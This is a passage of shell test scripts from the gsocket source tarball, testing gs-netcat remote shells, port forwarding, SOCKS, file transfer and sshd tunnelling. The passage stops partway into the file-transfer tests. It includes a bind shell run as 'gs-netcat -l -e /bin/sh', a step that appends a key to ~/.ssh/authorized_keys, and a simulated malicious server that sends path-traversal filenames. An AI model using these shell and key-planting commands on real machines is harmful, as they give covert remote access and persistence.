if [ "${MDHELLOW}" != "$(MD5 client2_out.dat)" ]; then fail 2; fi
if [ "${MDHELLOW}" != "$(MD5 client3_out.dat)" ]; then fail 3; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 7.2 ' ]]; then
test_start -n "Running: netcat #7.2 (shell, exit)........................"
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -e /bin/sh 2>server_err.txt >server_out.dat & echo ${!}')"
echo "date; echo Hello World; exit" | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat
sleep_ct
kill $GSPID1
if [ "${MDHELLOW}" != "$(tail -1 client_out.dat | MD5 /dev/stdin)" ]; then fail 1; fi
$ECHO "${OK}"
fi
# FreeBSD sends ansi-request to determine screen size. Wait for it to timeout and
# then send our command string.
XCMD="printf \"date && echo Hello World && exit\n\""
if [[ "$OSTYPE" == *"BSD"* ]]; then
XCMD="sleep 3; ${XCMD}"
fi
if [[ " ${tests[*]} " =~ ' 7.3 ' ]]; then
test_start -n "Running: netcat #7.3 (pty shell, exit)...................."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -i 2>server_err.txt >server_out.dat & echo ${!}')"
# Can not start Client with -i because it's not a tty. Must 'fake' the terminal response.
sh -c "$XCMD" | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat
# (printf "date; echo Hello World; exit\n") | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat
sleep_ct
kill $GSPID1
tail -2 client_out.dat | grep 'Hello World' &>/dev/null
if [ $? -ne 0 ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 7.4 ' ]]; then
test_start -n "Running: netcat #7.4 (multi pty shell, exit).............."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -i 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2=$(sh -c "($XCMD) | ../tools/gs-netcat -k id_sec.txt -w 2>client1_err.txt >client1_out.dat & echo \${!}")
GSPID3=$(sh -c "($XCMD) | ../tools/gs-netcat -k id_sec.txt -w 2>client2_err.txt >client2_out.dat & echo \${!}")
GSPID4=$(sh -c "($XCMD) | ../tools/gs-netcat -k id_sec.txt -w 2>client3_err.txt >client3_out.dat & echo \${!}")
waitk $GSPID2 $GSPID3 $GSPID4
kill $GSPID1
if [ x"$(tail -2 client1_out.dat | grep 'Hello World')" == x ]; then fail 1; fi
if [ x"$(tail -2 client2_out.dat | grep 'Hello World')" == x ]; then fail 2; fi
if [ x"$(tail -2 client3_out.dat | grep 'Hello World')" == x ]; then fail 3; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 8.1 ' ]]; then
test_start -n "Running: netcat #8.1 (port forward server side)..........."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -d 127.0.0.1 -p 12345 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(sleep 10) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
waittcp 12345
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
waitf test50k.dat nc1_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 8.2 ' ]]; then
# nc -> Port 12344 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #8.2 (port forward both sides)............"
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -d 127.0.0.1 -p 12345 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(sleep 1) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 12344 2>server2_err.txt >server2_out.dat & echo ${!}')"
waittcp 12344
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | $NC -vn 127.0.0.1 12344 >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 8.3 ' ]]; then
# nc -> Port 12344 -> GS-NET -> Port 12345 -> nc -ln
# Bi-Directional
test_start -n "Running: netcat #8.3 (port forward both sides, bi-dir)...."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -d 127.0.0.1 -p 12345 2>server1_err.txt >server1_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 12344 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 12344
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | $NC -vn 127.0.0.1 12344 >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 9.1 ' ]]; then
# SOCKS test socat -> port 1085 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #9.1 (socat/socks5)......................."
socat -h 2>/dev/null | grep socks5 &>/dev/null
if [ $? -ne 0 ]; then
skip "(no socat2)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server1_err.txt >server1_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | socat - "SOCKS5:localhost:12345 | TCP:127.1:1085" >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ " ${tests[*]} " =~ ' 9.2 ' ]]; then
# SOCKS test socat -> port 1085 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #9.2 (socat/socks4)......................."
socat -h 2>/dev/null | grep socks4 &>/dev/null
if [ $? -ne 0 ]; then
skip "(no socat)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server1_err.txt >server1_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | socat - "SOCKS4:127.0.0.1:127.0.0.1:12345,socksport=1085" >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ " ${tests[*]} " =~ ' 9.3 ' ]]; then
# SOCKS test socat -> port 1085 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #9.3 (socat/socks4a)......................"
socat -h 2>/dev/null | grep socks4 &>/dev/null
if [ $? -ne 0 ]; then
skip "(no socat)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server1_err.txt >server1_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | socat - "SOCKS4a:127.0.0.1:127.0.0.1:12345,socksport=1085" >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ " ${tests[*]} " =~ ' 9.4 ' ]]; then
# SOCKS test with cUrl
test_start -n "Running: netcat #9.4 (curl/socks5, multi)................."
curl --help all 2>/dev/null | grep socks5-hostname &>/dev/null
if [ $? -ne 0 ]; then
skip "(no curl)"
elif [[ "$(uname -a)" == *"GNU hurd"* ]]; then
# on GNU hurd curl & https to localhost sometimes thows a 'bad record mac' error.
# The cause is unknown. Works fine when gs-netcat runs on GNU hurd but curl
# from another host is used.
skip "(bad curl)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
touch testmp3.dat testmp3-2.dat
GSPID4="$(sh -c 'curl --socks5-hostname 127.0.0.1:1085 --output testmp3.dat https://raw.githubusercontent.com/hackerschoice/thc-art/master/deep-phreakin.mp3 >client1_out.dat 2>client1_err.txt & echo ${!}')"
GSPID5="$(sh -c 'curl --socks5-hostname 127.0.0.1:1085 --output testmp3-2.dat https://raw.githubusercontent.com/hackerschoice/thc-art/master/deep-phreakin.mp3 >client2_out.dat 2>client2_err.txt & echo ${!}')"
# waitk $GSPID4 $GSPID5
waitkpf $GSPID4 testmp3.dat
waitkpf $GSPID5 testmp3-2.dat
kill -9 $GSPID1 $GSPID3 &>/dev/null
if [ "$(MD5 testmp3.dat)" != "171a9952951484d020ce1bef52b9eef5" ]; then fail 1; fi
if [ "$(MD5 testmp3-2.dat)" != "171a9952951484d020ce1bef52b9eef5" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ " ${tests[*]} " =~ ' 10.1 ' ]]; then
test_start -n "Running: blitz #10.1 ....................................."
rm -rf test_server test_client
mkdir -p test_server test_client/foo/bar test_client/empty
if ! mkfifo test_client/fifo.io &>/dev/null; then
skip "(mkfifo)" # likely on a VMBOX shared drive
else
cp test4k.dat test_client/foo/bar/test4k.dat
cp test1k.dat test_client/foo/bar/test1k.dat
cp test1k.dat test_client/test1k.dat
ln -s foo/bar/test4k.dat test_client/test4k.dat
ln -s /etc/hosts test_client/etc-hosts
ln -s /dev/zero test_client/zero
GSPID1="$(sh -c 'blitz -k id_sec.txt -w -o "RSOPT=--bwlimit=100 -v" test_client/./ 2>client1_err.txt >client1_out.dat & echo ${!}')"
cd test_server
GSPID2="$(sh -c 'blitz -k ../id_sec.txt -l 2>../server1_err.txt >../server1_out.dat & echo ${!}')"
cd ..
waitk $GSPID1
kill $GSPID2
(cd test_client; find . -type f | while read x; do md5fail 1 ../test_server/${x} ${x}; done)
md5fail 2 test_server/test4k.dat test4k.dat
[[ -e test_server/fifo.io ]] && fail 3
[[ -e test_server/zero ]] && fail 4
[[ -e test_server/etc-hosts ]] && fail 5
[[ -L test_server/test4k.dat ]] || fail 6
[[ -d test_server/empty ]] || fail 7
rm -rf test_server test_client
$ECHO "${OK}"
fi
fi
if [[ " ${tests[*]} " =~ ' 10.2 ' ]]; then
test_start -n "Running: blitz #10.2 (stdin).............................."
rm -rf test_client
mkdir -p test_client
GSPID1="$(sh -c '(echo test1k.dat; echo test4k.dat) | blitz -k id_sec.txt -w -o "RSOPT=--bwlimit=100 -v" -f - 2>client1_err.txt >client1_out.dat & echo ${!}')"
cd test_client
GSPID2="$(sh -c 'blitz -k ../id_sec.txt -l 2>../server1_err.txt >../server1_out.dat & echo ${!}')"
cd ..
waitk $GSPID1
kill $GSPID2
md5fail 1 test1k.dat test_client/test1k.dat
md5fail 2 test4k.dat test_client/test4k.dat
rm -rf test_client
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 10.3' ]]; then
test_start -n "Running: gs-sftp #10.3 ..................................."
rm -rf test_client
mkdir -p test_client
GSPID1="$(bash -c '(echo -en "lcd test_client\nget test4k.dat\nlcd ..\ncd test_client\nput test1k.dat\nls\nquit\n") | gs-sftp -k id_sec.txt -w 2>client1_err.txt >client1_out.dat & echo ${!}')"
GSPID2="$(sh -c 'gs-sftp -k id_sec.txt -l 2>server1_err.txt >server1_out.dat & echo ${!}')"
waitk $GSPID1
kill $GSPID2
md5fail 1 test1k.dat test_client/test1k.dat
md5fail 2 test4k.dat test_client/test4k.dat
# rm -rf test_client
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 10.4 ' ]]; then
test_start -n "Running: gs-mount #10.4 .................................."
command -v sshfs >/dev/null 2>&1
if [ $? -ne 0 ]; then
skip "(no sshfs)"
elif [[ "$OSTYPE" == *"darwin"* ]]; then
# osxfuse and macosfuse are both broken now
# macosfuse hangs the host. force-unmount not working. Not recoverable. reboot needed.
skip "OSX fuse-broken"
else
rm -rf test_client &>/dev/null
rmdir test_mnt &>/dev/null
mkdir -p test_client test_mnt &>/dev/null
cp test1k.dat test4k.dat test_client
GSPID1="$(sh -c 'gs-mount -k id_sec.txt -w test_mnt 2>client1_err.txt >client1_out.dat & echo ${!}')"
GSPID2="$(sh -c 'cd test_client; gs-mount -k ../id_sec.txt -l 2>../server1_err.txt >../server1_out.dat & echo ${!}')"
waitk $GSPID1
if grep forbidden client1_err.txt &>/dev/null; then
skip "(forbidden)" # VMBox drive?
else
md5fail 1 test_mnt/test1k.dat test_client/test1k.dat $GSPID2
md5fail 2 test_mnt/test4k.dat test_client/test4k.dat $GSPID2
if command -v fusermount >/dev/null 2>&1; then
fusermount -zu test_mnt
else
# archLinux -f flag needs superuser (bug in umount)
umount test_mnt &>/dev/null
umount -f test_mnt &>/dev/null
fi
$ECHO "${OK}"
fi
kill $GSPID2
rm -rf test_client
rmdir test_mnt
fi
fi
# Can not use nc here because nc does not terminate on EOF from stdin.
# Socat can be configured to terminate 1 second after EOF has been received.
# need sleep 3 on RPI (slow system)
STDOUT_SLEEP=3
[[ -f /proc/cpuinfo ]] && grep Raspberry /proc/cpuinfo &>/dev/null && STDOUT_SLEEP=3
export STDOUT_SLEEP
if [[ " ${tests[*]} " =~ ' 10.5 ' ]]; then
test_start -n "Running: gsocket nc #10.5 (stdin)........................."
GSPID1="$(sh -c '(cat test4k.dat; sleep $STDOUT_SLEEP) | GSOCKET_DEBUG=1 GSOCKET_ARGS="-Lserver_gs.log" gsocket -k id_sec.txt $NC $NC_EOF_ARG $NC_LISTEN_ARG 31337 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep $STDOUT_SLEEP) | GSOCKET_DEBUG=1 GSOCKET_ARGS="-w -Lclient_gs.log" gsocket -k id_sec.txt $NC $NC_EOF_ARG -v gsocket 31337 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
md5fail 2 test4k.dat client_out.dat
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 10.5.1 ' ]]; then
test_start -n "Running: gsocket nc #10.5.1 (nc server)..................."
export PORTSEC="31337-$(cat id_sec.txt)"
GSPID1="$(sh -c '(cat test4k.dat; sleep $STDOUT_SLEEP) | GSOCKET_DEBUG=1 GSOCKET_ARGS="-Lserver_gs.log" gs-netcat -s $PORTSEC -l 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep $STDOUT_SLEEP) | GSOCKET_DEBUG=1 GSOCKET_ARGS="-w -Lclient_gs.log" gsocket -k id_sec.txt $NC $NC_EOF_ARG -v gsocket 31337 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
md5fail 2 test4k.dat client_out.dat
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 10.5.2 ' ]]; then
test_start -n "Running: gsocket nc #10.5.2 (nc client)..................."
export PORTSEC="31337-$(cat id_sec.txt)"
GSPID1="$(sh -c '(cat test4k.dat; sleep $STDOUT_SLEEP) | GSOCKET_DEBUG=1 GSOCKET_ARGS="-Lserver_gs.log" gsocket -k id_sec.txt $NC $NC_EOF_ARG $NC_LISTEN_ARG 31337 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep $STDOUT_SLEEP) | GSOCKET_DEBUG=1 GSOCKET_ARGS="-w -Lclient_gs.log" gs-netcat -s $PORTSEC 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
md5fail 2 test4k.dat client_out.dat
$ECHO "${OK}"
fi
if [[ " ${tests[*]} " =~ ' 10.6 ' ]]; then
test_start -n "Running: gsocket socat #10.6 (stdin)......................"
if ! socat -h 2>/dev/null | grep socks4 &>/dev/null; then
skip "(no socat)"
elif [[ "$OSTYPE" =~ solaris ]]; then
# On Solaris the socat binary is 32 bit (but our gs_so lib is 64).
# Loader wont work.
skip "(32-bit)"
else
# Can not use nc here because nc does not terminate on EOF from stdin.
# Socat can be configured to terminate 1 second after EOF has been received.
GSPID1="$(sh -c 'gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP-LISTEN:31337 server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP:gsocket:31337 client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
md5fail 1 test1k.dat server_out.dat
md5fail 2 test4k.dat client_out.dat
$ECHO "${OK}"
fi
fi
if [[ " ${tests[*]} " =~ ' 10.7 ' ]]; then
test_start -n "Running: gsocket ssh #10.7 (stdin)........................"
if [[ "$OSTYPE" == *"solaris"* ]]; then
# Solaris SSHD does not work unless it's run as root (some PAM shit)
# Also needs -4 flag to run as IPv4 only (still, PAM shit afterwards)
skip "(needs root)"
else
[[ -f ssh_host_rsa_key ]] || ssh-keygen -q -N "" -t rsa -b 2048 -f ssh_host_rsa_key
[[ -d ~/.ssh ]] || mkdir ~/.ssh
[[ -f id_rsa ]] || ssh-keygen -q -N "" -t rsa -b 2048 -f id_rsa
[[ -f ~/.ssh/authorized_keys ]] && cp -a ~/.ssh/authorized_keys ~/.ssh/authorized_keys-backup
cat id_rsa.pub >>~/.ssh/authorized_keys
SSHD_BIN=$(which sshd 2>/dev/null)
[[ -z $SSHD_BIN ]] && SSHD_BIN="/usr/sbin/sshd"
[[ -z $SSHD_BIN ]] && SSHD_BIN="/usr/lib/ssh/sshd"
export SSHD_BIN
[[ -f "$SSHD_BIN" ]] || { echo >&2 "sshd not found"; exit 255; }
GSPID1="$(sh -c 'gsocket -k id_sec.txt $SSHD_BIN -f /dev/null -o HostKey=${PWD}/ssh_host_rsa_key -p 31338 -D 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c 'GSOCKET_ARGS=-w gsocket -k id_sec.txt ssh -i id_rsa -o StrictHostKeyChecking=no -p 31338 ${LOGNAME}@gsocket echo Hello World 2>client_err.txt >client_out.dat & echo ${!}')"
waitk $GSPID2
kill $GSPID1 &>/dev/null
[[ -f ~/.ssh/authorized_keys-backup ]] && cp -a ~/.ssh/authorized_keys-backup ~/.ssh/authorized_keys
# rm ~/.ssh/authorized_keys-backup
if [ "${MDHELLOW}" != "$(MD5 client_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
fi
if [ x"$1" == x ]; then
### Clean-up
test_start ""
fi
exit 0
gsocket-1.4.41/tests/run_all_tests.sh 0000755 0001750 0001750 00000000073 14503376047 017534 0 ustar epsilon epsilon #! /bin/bash
./run_ft_tests.sh $@ && ./run_gs_tests.sh $@
gsocket-1.4.41/tests/run_ft_tests.sh 0000755 0001750 0001750 00000040243 14503376047 017400 0 ustar epsilon epsilon #! /bin/bash
command -v md5 >/dev/null 2>&1 && MD5(){ md5 -q "${1}";}
command -v md5sum >/dev/null 2>&1 && MD5(){ md5sum "${1}" | cut -f1 -d' ';}
if [[ $(uname) =~ Darwin ]]; then
FSIZE(){ stat -f%z "$1";}
FACCESS(){ stat -f%A "$1";}
FMTIME(){ stat -f%m "$1";}
FSTAT(){ stat -f%A-%m-%z "$1";}
DSTAT(){ stat -L -f%A-%m "$1";}
elif [[ $(uname) =~ FreeBSD ]]; then
FSIZE(){ stat -f%z "$1";}
FACCESS(){ stat -f%p "$1";}
FMTIME(){ stat -f%m "$1";}
FSTAT(){ stat -f%p-%m-%z "$1";}
DSTAT(){ stat -L -f%p-%m "$1";}
elif [[ -f /bin/busybox ]]; then
FSIZE(){ stat -c%s "$1";}
FACCESS(){ stat -c%a "$1";}
FMTIME(){ stat -c%Y "$1";}
FSTAT(){ stat -c%a-%Y-%s "$1";}
DSTAT(){ stat -L -c%a-%Y "$1";}
else
FSIZE(){ stat --format=%s "$1";}
FACCESS(){ stat --format=%a "$1";}
FMTIME(){ stat --format=%Y "$1";}
FSTAT(){ stat --format=%a-%Y-%s "$1";}
DSTAT(){ stat -L --format=%a-%Y "$1";}
fi
IODIR="${PWD}/ft_test_dst"
IODIRSRC="ft_test_src"
LOGDIR="${PWD}"
OK="....[\033[1;32mOK\033[0m]"
FAIL="[\033[1;31mFAILED\033[0m]"
SKIP="[\033[1;33mskipping\033[0m]"
BINDIR="${PWD}/../tools"
ECHO="echo -e"
BIN="${BINDIR}/filetransfer-test"
[[ -f "${BIN}" ]] || { echo "${BIN} not found. Try ./configure --enable-tests"; exit 255; }
if [[ $(uname) =~ Darwin ]]; then
export PATH=$HOME/usr/bin:$PATH
fi
command -v socat >/dev/null 2>&1 || { $ECHO >&2 "socat not installed. ${SKIP}"; exit 0; }
mk_dummy()
{
[ -f "$1" ] || dd bs=1024 count=$2 if=/dev/urandom of="$1" 2>/dev/null
}
mk_dummy test1k.dat 1
mk_dummy test4k.dat 4
mk_dummy test8k.dat 8
rm -rf "${IODIRSRC}/foo"
mkdir -p "${IODIRSRC}/foo/bar"
mkdir -p "${IODIRSRC}/foo/dir_empty"
cp test1k.dat "${IODIRSRC}/"
cp test1k.dat "${IODIRSRC}/foo/bar/"
cp test1k.dat "${IODIRSRC}/foo/.rcfile1"
cp test4k.dat "${IODIRSRC}/foo/"
cp test4k.dat "${IODIRSRC}/foo/bar/.rcfile2"
cp test8k.dat "${IODIRSRC}/"
touch "${IODIRSRC}/zero.dat"
test_start()
{
rm -rf "${IODIR}/" &>/dev/null
mkdir -p "${IODIR}" &>/dev/null
[[ x"$1" != x ]] && $ECHO $*
}
fail()
{
$ECHO "${FAIL}"-$*
exit 255
}
# code file1 file2
md5fail()
{
[[ "$(MD5 ${2})" != "$(MD5 ${3})" ]] && fail $1;
}
fail_file_count()
{
# Do not quote so that globbing takes effect.
nf_src=$(find $2 -xdev -type f -o -type d | wc -l)
nf_dst=$(find $3 -xdev -type f -o -type d | wc -l)
[[ $nf_src -eq $nf_dst ]] || fail $1
}
fail_file_bypipe()
{
while read f; do
if [ $(FSTAT "${2}/${f}") != $(FSTAT "${3}/${f}") ]; then
echo "${f} not equal";
fail $1
fi
done
}
fail_dir_bypipe()
{
while read f; do
if [ $(DSTAT "${2}/${f}") != $(DSTAT "${3}/${f}") ]; then
echo "${f} not equal";
fail $1
fi
done
}
# Recursively compare st_mode and mtime and fail if different
fail_dir_compare()
{
(cd "$2"; find "$4" -xdev -type d) | fail_dir_bypipe "$1" "$2" "$3"
(cd "$2"; find "$4" -xdev -type f) | fail_file_bypipe "$1" "$2" "$3"
}
run_put()
{
# set -f disabled globbing
# socat SYSTEM:"./filetransfer-test c $* 2>client.log" SYSTEM:"(cd ${IODIR}; ../filetransfer-test s 2>../server.log)"
# socat SYSTEM:"set -f && ./filetransfer-test c $* 2>client.log" SYSTEM:"(cd ${IODIR}; ../filetransfer-test s 2>../server.log)"
socat SYSTEM:"set -f && ${BIN} c $* 2>${LOGDIR}/client.log" SYSTEM:"(cd ${IODIR}; ${BIN} s 2>${LOGDIR}/server.log)"
}
# put with command
run_putc()
{
socat SYSTEM:"set -f && ${BIN} c \'$*\' 2>${LOGDIR}/client.log" SYSTEM:"(cd ${IODIR}; ${BIN} s 2>${LOGDIR}/server.log)"
}
run_get()
{
# set -f disabled globbing
socat SYSTEM:"(cd ${IODIR}; set -f && ${BIN} C $* 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}; ${BIN} s 2>${LOGDIR}/server.log)"
}
run_get2()
{
# set -f disabled globbing
socat SYSTEM:"(cd ${IODIR}; set -f && ${BIN} C $* 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}/foo; ${BIN} s 2>${LOGDIR}/server.log)"
}
# Server is a bad actor and send ../../../shit.dat as reply for any request
run_get_dst()
{
# set -f disabled globbing
socat SYSTEM:"(cd ${IODIR}/foo; set -f && ${BIN} C test4k.dat 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}/foo; ${BIN} s $* 2>${LOGDIR}/server.log)"
}
run_getc()
{
socat SYSTEM:"(cd ${IODIR}; set -f && ${BIN} C \'$*\' 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}; ${BIN} s 2>${LOGDIR}/server.log)"
}
tests="1.0 "
tests+="1.1 "
tests+="1.2 "
tests+="1.3 "
tests+="2.1 2.2 "
tests+="2.3 "
tests+="3.1 3.2 "
tests+="3.3 "
tests+="3.4 "
tests+="4.1 "
tests+="4.2 "
tests+="4.3 "
tests+="4.4 "
tests+="5.1 "
tests+="5.2 "
tests+="5.3 "
tests+="5.4 "
tests+="5.5 "
tests+="5.6 "
tests+="5.7 "
tests+="5.8 "
tests+="8.1 "
tests+="8.2 "
tests+="8.3 "
tests+="8.4 "
tests+="8.5 "
tests+="8.6 "
tests+="8.7 "
tests+="8.8 "
tests+="8.9 "
tests+="9.1 "
tests+="9.2 "
if [ x"$1" != x ]; then
tests="$@ "
fi
if [[ "$tests" =~ '1.0 ' ]]; then
test_start -n "Running #1.0 (put 1 file)................................."
run_put test1k.dat
md5fail 1 test1k.dat "${IODIR}/test1k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '1.1 ' ]]; then
test_start -n "Running #1.1 (put 2 files)................................"
run_put test4k.dat test8k.dat
md5fail 1 test4k.dat "${IODIR}/test4k.dat"
md5fail 2 test8k.dat "${IODIR}/test8k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '1.2 ' ]]; then
test_start -n "Running #1.2 (non-exist).................................."
run_put not-exists.dat
[[ -f "${IODIR}/not-exists.dat" ]] && fail 1
$ECHO "${OK}"
fi
run_put_fail()
{
rm -rf "${IODIR}/" &>/dev/null
mkdir -p "${IODIR}" &>/dev/null
run_put "$2"
[[ -f "$3" ]] || fail "$1"
rm -f "$3"
}
if [[ "$tests" =~ '1.3 ' ]]; then
test_start -n "Running #1.3 (absolute file).............................."
run_put_fail 1 "${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 2 "${IODIRSRC}/foo/bar/./test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 3 "./${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 4 "${IODIRSRC}/foo/./bar/test1k.dat" "${IODIR}/bar/test1k.dat"
run_put_fail 5 "././${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/${IODIRSRC}/foo/bar/test1k.dat"
run_put_fail 6 "${IODIRSRC}/foo/../foo/bar/test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 7 "${IODIRSRC}/foo/../foo/./bar/test1k.dat" "${IODIR}/bar/test1k.dat"
run_put_fail 8 "${PWD}/${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/test1k.dat"
### run_put foo/./../foo/../foo/bar/test1k.dat # escape. wanted behavior (?).
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.1 ' ]]; then
test_start -n "Running #2.1 (src is larger, restart)....................."
dd bs=1k count=5 if=test8k.dat of="${IODIR}/test8k.dat" &>/dev/null
run_put test4k.dat test8k.dat
md5fail 1 test8k.dat "${IODIR}/test8k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.2 ' ]]; then
